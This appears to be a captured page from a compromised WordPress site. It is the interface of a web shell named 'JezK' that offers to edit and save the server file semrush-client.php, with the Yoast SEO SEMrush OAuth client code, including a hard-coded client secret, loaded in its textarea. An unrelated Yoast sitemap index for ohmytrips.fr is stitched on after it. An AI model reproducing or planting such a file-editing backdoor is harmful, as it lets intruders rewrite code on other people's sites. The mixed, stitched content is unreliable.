
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: semrush-client.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Yoast\WP\SEO\Config;

use Yoast\WP\SEO\Exceptions\OAuth\Authentication_Failed_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Property_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Token_Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Wrappers\WP_Remote_Handler;
use YoastSEO_Vendor\GuzzleHttp\Client;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\GenericProvider;

/**
 * Class SEMrush_Client
 */
class SEMrush_Client extends OAuth_Client {

	/**
	 * The option's key.
	 */
	public const TOKEN_OPTION = 'semrush_tokens';

	/**
	 * SEMrush_Client constructor.
	 *
	 * @param Options_Helper    $options_helper    The Options_Helper instance.
	 * @param WP_Remote_Handler $wp_remote_handler The request handler.
	 *
	 * @throws Empty_Property_Exception Throws when one of the required properties is empty.
	 */
	public function __construct( Options_Helper $options_helper, WP_Remote_Handler $wp_remote_handler ) {
		$provider = new GenericProvider(
			[
				'clientId'                =&gt; 'yoast',
				'clientSecret'            =&gt; 'YdqNsWwnP4vE54WO1ugThKEjGMxMAHJt',
				'redirectUri'             =&gt; 'https://oauth.semrush.com/oauth2/yoast/success',
				'urlAuthorize'            =&gt; 'https://oauth.semrush.com/oauth2/authorize',
				'urlAccessToken'          =&gt; 'https://oauth.semrush.com/oauth2/access_token',
				'urlResourceOwnerDetails' =&gt; 'https://oauth.semrush.com/oauth2/resource',
			],
			[
				'httpClient' =&gt; new Client( [ 'handler' =&gt; $wp_remote_handler ] ),
			],
		);

		parent::__construct(
			self::TOKEN_OPTION,
			$provider,
			$options_helper,
		);
	}

	/**
	 * Performs the specified request.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param string $method  The HTTP method to use.
	 * @param string $url     The URL to send the request to.
	 * @param array  $options The options to pass along to the request.
	 *
	 * @return mixed The parsed API response.
	 *
	 * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
	 * @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
	 * @throws Empty_Token_Exception Exception thrown if the token is empty.
	 */
	public function do_request( $method, $url, array $options ) {
		// Add the access token to the GET parameters as well since this is what
		// the SEMRush API expects.
		$options = \array_merge_recursive(
			$options,
			[
				'params' =&gt; [
					'access_token' =&gt; $this-&gt;get_tokens()-&gt;access_token,
				],
			],
		);

		return parent::do_request( $method, $url, $options );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//ohmytrips.fr/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://ohmytrips.fr/post-sitemap.xml</loc>
		<lastmod>2026-09-26T17:32:22+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://ohmytrips.fr/page-sitemap.xml</loc>
		<lastmod>2026-09-25T15:37:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://ohmytrips.fr/category-sitemap.xml</loc>
		<lastmod>2026-09-26T17:32:22+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://ohmytrips.fr/author-sitemap.xml</loc>
		<lastmod>2025-10-07T21:23:02+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->